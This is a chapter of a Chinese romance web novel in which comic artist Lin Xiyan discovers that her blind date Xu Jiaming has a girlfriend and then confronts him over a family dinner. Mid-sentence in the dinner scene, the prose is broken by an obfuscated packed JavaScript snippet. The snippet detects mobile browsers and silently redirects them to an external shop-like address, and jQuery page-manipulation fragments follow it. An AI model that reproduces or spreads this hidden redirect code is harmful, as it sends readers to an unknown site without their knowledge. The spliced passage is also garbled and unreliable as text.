买完后林夕妍直接帮她戴上,“现在满意了?我们快去吃饭吧,我出门到现在连口水都没喝。” 结果才走出门几步,刚才的销售追上来,“这是赠品,你们走太快我都没来得及给。而且幸好你们来得早了一点,刚才又来了一个客人也想买你这个款式,可惜只剩样品了。” 方珏好奇地回头看了一眼,“我去,那就是徐佳明吧?” 林夕妍也跟着转头,她一眼就看到了站在柜台前的男人,是徐佳明没错。 他挑了几条项链,店员都一一拿了出来。 “那个女人你认识吗?是他妹妹?”方珏不走了,林夕妍也没动。 徐佳明身边还站着一个女人,看起来年纪与他相仿。 “没见过,也没听说他有兄弟姐妹。”林夕妍摇了摇头,这么多年聚餐,从没见过这个女人。 追来的销售左看右看,“应该是女朋友,之前这个男的也来过,说要给女朋友送个礼物。” “有女朋友还来相亲?搞没搞错啊。”方珏没忍住骂了句脏话。 林夕妍没说话,她不想胡乱猜测别人的男女关系,然而下一秒两人没有看中的饰品,便十指相扣着一同离开了。 他们走的是反方向的门,没有和林夕妍正面遇上。 “我真是醉了,他爸妈不知道他有女朋友吗?”亲眼看见两人的亲密举止,方珏更是无语,假笑着跟销售说了再见,随后拉着林夕妍快步离开,嘴上不忘问候人,“你说他前两天还想来苏州找你?什么时间管理大师,吃着碗里的看着锅里的。” “你说出发前他突然放我鸽子到底是因为什么?”林夕妍从小深受言情小说和少女漫画的荼毒,自己又成了少女漫画家,一瞬间无数种狗血的剧情在脑中闪过,最后还是摇摇头,“算了,他有对象也挺好,以后别再来烦我就行。” 林夕妍想得乐观,也不愿多事,只当没看见。 可谁知道火锅吃到一半,徐佳明打来电话。 方珏翻了个白眼,“你开免提。” 林夕妍依言照做,按下接听与免提,“你有什么事吗?” 电话那头徐佳明的语气和平常一样,“想问问你和叔叔阿姨哪天有空,我和我爸妈一起请你们吃饭。” “我们都行,客随主便。”林夕妍这次没有推拒,答应得格外爽快。 倒是徐佳明愣了好一会儿,“啊”了一声才反应过来,“好,那我定好时间地点再发你。” 方珏一脸激动,“吃饭能不能带我一个?我想去凑热闹。” “没事,到时候我给你文字直播。” 15. Home 2 没过多久,徐佳明就发来了用餐时间与地点,还象征性问了问她和父母是否都方便。 林夕妍:「放心,我们一定准时到。」 这话是方珏拿着林夕妍的手机回复的,发完消息把手机还回去,“他还怪会装模作样的。” 林夕妍看也没看,接过来往边上随手一扔,“虽然我不想一棍子打死,但这种各种条件看起来还不错的相亲男果然多少都有点问题。” “可不是吗,”方珏深以为然,她自己没相过亲,但没吃过猪肉也见过猪跑,“知人知面不知心的多着呢。要我说还是多了解才行,刚好你身边有个现成的。” 林夕妍知道她说的是贺明朝。 两人大一的时候同在摄影社,社团成员虽然不多,但彼此都是慢热的人,尽管每周都有活动,可到学期结束他们也没说过几句话。 后来林夕妍急需一个人体模特,不是找不到人,而是她心里已经有了人选。 早在第一次见贺明朝的时候她就被他吸引,不过碍于不熟才没好意思开口。 期末周结束的社团聚餐上林夕妍决定问一问他的意思,然而还没做好心理准备,贺明朝就先来找她了。 贺明朝手里拎了一个礼品袋,说自己有求于她,“我想练习人像拍摄,你能不能做一次我的模特?” 林夕妍看了眼包装上的字,是套肩颈按摩仪,对她们这种长时间久坐的低头族来说非常必要。 “东西就不用了,”她没接袋子,心里倒是止不住窃喜,行动目标主动送上门来,真是得来全不费工夫,“不过我有个条件,作为交换,你也得当我的绘画模特。” “成交。”贺明朝想也没想便一口答应,又把东西塞到她手里,“当然这个你也收下吧。” 第一次磨合不算顺利,林夕妍并不对下次合作抱期望,没想到贺明朝很快又找了她。 自那之后两人经常约了外出拍摄,不然就在画室里从白天待到天黑,结束了一起吃饭,他们在大把的独处时间里什么都聊。 林夕妍知道了贺明朝从小被放养,父母离了婚都在国外忙工作,除了按时打钱与他不怎么联系。 贺明朝也知道林夕妍家在丽江开民宿,父母对她没什么要求,虽然更希望她找个稳定的工作,但也不反对她日后以绘画为生。 从只是社团同学的关系到无话不说的默契伙伴,林夕妍对这样的相处方式产生了自己都没察觉到的依赖。 长期地相处后林夕妍确信贺明朝对自己有好感,可迟迟没等到他向自己表白。 大二寒假前,在朋友的怂恿下,她先把喜欢说出了口。 怂恿人之一便是方珏。 现在她又开始想些有的没的,“当年是你先表的白,后来又是你提的分手,贺明朝好像一直处于被动。但我觉得他对你的喜欢一点不少,而且你们能一起玩这么几天,别告诉我只是纯友谊,骗鬼去吧。在苏州的时候你但凡有那么一点明显的暗示……” “都是暗示了,还要怎么明显?”林夕妍打断她继续想当然,“而且你怎么知道我没有?也没见贺明朝有什么反应。再说大家年纪都不小了,有些冲动想想就行,我妈也让我放弃幻想早点睡。” 方珏不赞同地直摇头,“那是因为阿姨只幻想不实践,信不信只要你给贺明朝发个消息,他马上就跑来云南找你了。” 林夕妍也不住摇头,换了个话题结束方珏不切实际的幻想。 晚上回家,廖友娟和林海兴还在客厅看电视。 听到开门动静,林海兴循声看去,“回来这么早?还以为你跟方珏要玩到很晚。” 林夕妍边换鞋边说:“徐佳明要请你们吃饭,周六中午,你俩也没什么休息不休息的,我就答应了。” “呀,能从你嘴里听到徐佳明三个字,真是太阳打西边出来了,”廖友娟无意嘲讽,意外中透着一丝不安,“还答应吃饭,你想干嘛呀?” 林海兴本以为是女儿回心转意开窍了,听廖友娟这么一问,也觉得不简单,“你在憋什么坏呢?” 他俩自认对林夕妍有一定了解,所以事出反常必有妖。 “答应吃饭而已,你们居然这么想我,我做人也太失败了吧?” “人家大概想借此机会跟你道歉没去苏州的事,到时候你管好自己的嘴,毕竟人家请吃饭,说话别太直接。”林海兴心里反而没底。 “他说是公司的软件突然出了问题,临时被叫去加班才没赶上,既然事出有因,我有什么好斤斤计较的?” 林夕妍表现得越通情达理,越无所谓,做父母的两人越是面露难色。 林夕妍不打算多说什么,今天在商场看见的也不准备告诉父母,她知道谣言如何产生,所以不确定的事不乱讲。 接下来一连几天,林夕妍都在画室里琢磨结局的草稿,画了几版也没有满意的。 编辑那边委婉地催,她就委婉地拖,显然还没到不得不交稿的时候。 贺明朝每天都会发消息来,她有一搭没一搭地聊,既不太热情,也不算冷淡。 有时候需要适当的距离才能保持新鲜感,现在林夕妍对贺明朝的定位是一位曾经熟悉的网友。 既然是网友,只需在网上保持联系就好。 / 周六一早,林夕妍被廖友娟叫起来化妆,以表示对这顿饭的重视。 她不情不愿地坐到化妆镜前,磨磨蹭蹭到出门才收拾好。 徐佳明订了一家庭院式的网红餐厅,环境不错,包厢在二楼,刚好是六人桌。 林夕妍和父母到的时候,徐佳明一家三口已经在了。 两家父母坐在一块,留了两个位置给年轻人。 徐母笑呵呵地让林夕妍坐靠近自己的空位,她也没拒绝,大大方方坐下,又让徐佳明别站着。 “叔叔阿姨,给你们带的礼物在车里,等会儿让徐佳明跟我去拿一下。” “还是妍妍有心,出去玩都不忘了给我们带东西,换成徐佳明在外面,哪还记得我们两个老家伙。”徐父一边笑,一边给徐佳明使眼色。 菜没上齐,徐佳明先给每人都倒了饮料,他站起来对林夕妍郑重其事道:“这次旅游说好了结果没去是我的问题,光是吃饭还不足以赔罪,等下次有空了我们再去别的地方。” 林夕妍喝了他这杯赔罪“酒”,“一件小事,你搞这么隆重,我都不好意思了。” “虽然他是因为工作走不开,但到底影响了你,这怎么算小事。”徐母给林夕妍夹菜,让她不要客气,“你就是太好说话,脾气太软了,以后对我们徐佳明就应该强势一点。” 林海兴在对面听了这话大跌眼镜,但在外人面前还是不拆女儿的台,“小徐正年轻,应该以工作为先,妍妍说她都能理解。” “一开始也没有很理解,”林夕妍无视了林海兴和廖友娟递过来的眼神,“毕竟我等他一晚上都没回消息,当下还是有点生气的。后来在飞机上冷静下来,感觉自己话说重了,突发状况难以预料,工作肯定是比旅游重要。换位思考一下,如果是我工作出了问题,我也会先紧着工作。” 徐佳明有些困惑,现在的林夕妍和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16664416|188437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在网上聊天或是打电话时给他的感觉完全不同。 眼前的这个不仅善解人意地替他解围,还深得父母欢心,这与他想要的结果并不一致。 他猜林夕妍是在演戏,“虽然我没去,但好在她有其他人陪,我也放心些。” 林夕妍偏过头冲他笑,眼底却毫无笑意,“本来以为这次一个人旅行会没意思,已经做好了无聊的准备,没想到我第二天去西园寺的时候碰到了以前的朋友。” “是啊,她跟我说的时候我都觉得太巧了。”廖友娟见两人之间的氛围不妙,连忙附和。 “其实也不是普通朋友,是大学里的男朋友,谈了有五年,三年前分的。” 听到这,廖友娟和林海兴彻底闭上了嘴。 徐父徐母微微睁大眼,表情看起来有些尴尬。 没想到林夕妍会如此坦然,徐佳明扯了扯嘴角,低头吃饭。 “你们这什么反应,又不是什么见不得人的事,难道徐佳明没有前女友吗?”林夕妍装作好奇,见无人回答,又看着徐佳明问了一遍,“你以前没谈过恋爱?” 他冷不丁被问到,顾不上勺子里的汤还烫嘴就往嘴里送。 林夕妍见状,又不依不饶地转向徐家二老,“不会是他偷偷谈的,没告诉你们吧?” 徐母脸上挂不住,“他大学里谈过一个交换生,但我们不同意,后来就分了。” 听了那女生的国籍后,林海兴若有所思地点点头,“这倒是有点历史原因,你们不同意也能理解。” “后来呢?那女生就回国了?”林夕妍继续追问。 都聊到这份上了,徐佳明也没什么不能说的,“她一年交换结束就回去了,我们也好多年没见,听说她毕业不久就结婚当全职太太了。” 林夕妍对徐佳明的私生活不感兴趣,如果不是他意有所指,自己也不会问这种问题。 她点到为止,收了声,饭桌上一时沉默,不知是谁转移了话题,轻飘飘带过。 用餐快结束的时候,林夕妍去了洗手间。 她在隔间里给方珏发消息,没忘了文字直播的承诺,把刚才的对话几乎分毫不差地复述了一遍。 方珏:「这男的给你做局呢?」 林夕妍:「搞不懂,我不太理解他到底想干嘛。」 方珏:「反正不是什么好东西,阴得很」 林夕妍:「退退退,小人远离我」 两人吐槽完,林夕妍才从女厕出来,就见徐佳明站在水池前,看样子是在等她。 “你今天什么意思?”他上来先发制人。 林夕妍瞥了他一眼,走到水池前慢条斯理地洗手,“不装了?” “这话说你才对吧?”他语气不善,全然没有先前表现出来的温文尔雅。 “可我觉得还是与你更配,”林夕妍抽了张不紧不慢地擦去水渍,“你一会儿献殷勤,一会儿又话里话外地引导你父母多想,破坏他们对我的印象,你能从中得到什么?” 林夕妍将纸巾揉成团,对准身侧的垃圾桶,一抛即中。 “相亲而已,他们的目的不就是想给你找一个可以结婚的对象。但很显然,我对你一点意思都没有,你看起来也一样,”说着她后退一步,“你和我较什么真,就算和我没成还有别人,总之不会是你心里想的那个人。” 徐佳明眼神闪躲,“你在说什么?” “周三上午十点多你跟谁在哪里,还用我告诉你吗?” 林夕妍唇角扬起笑,她现在心情大好。 就是徐佳明的脸色有点难看。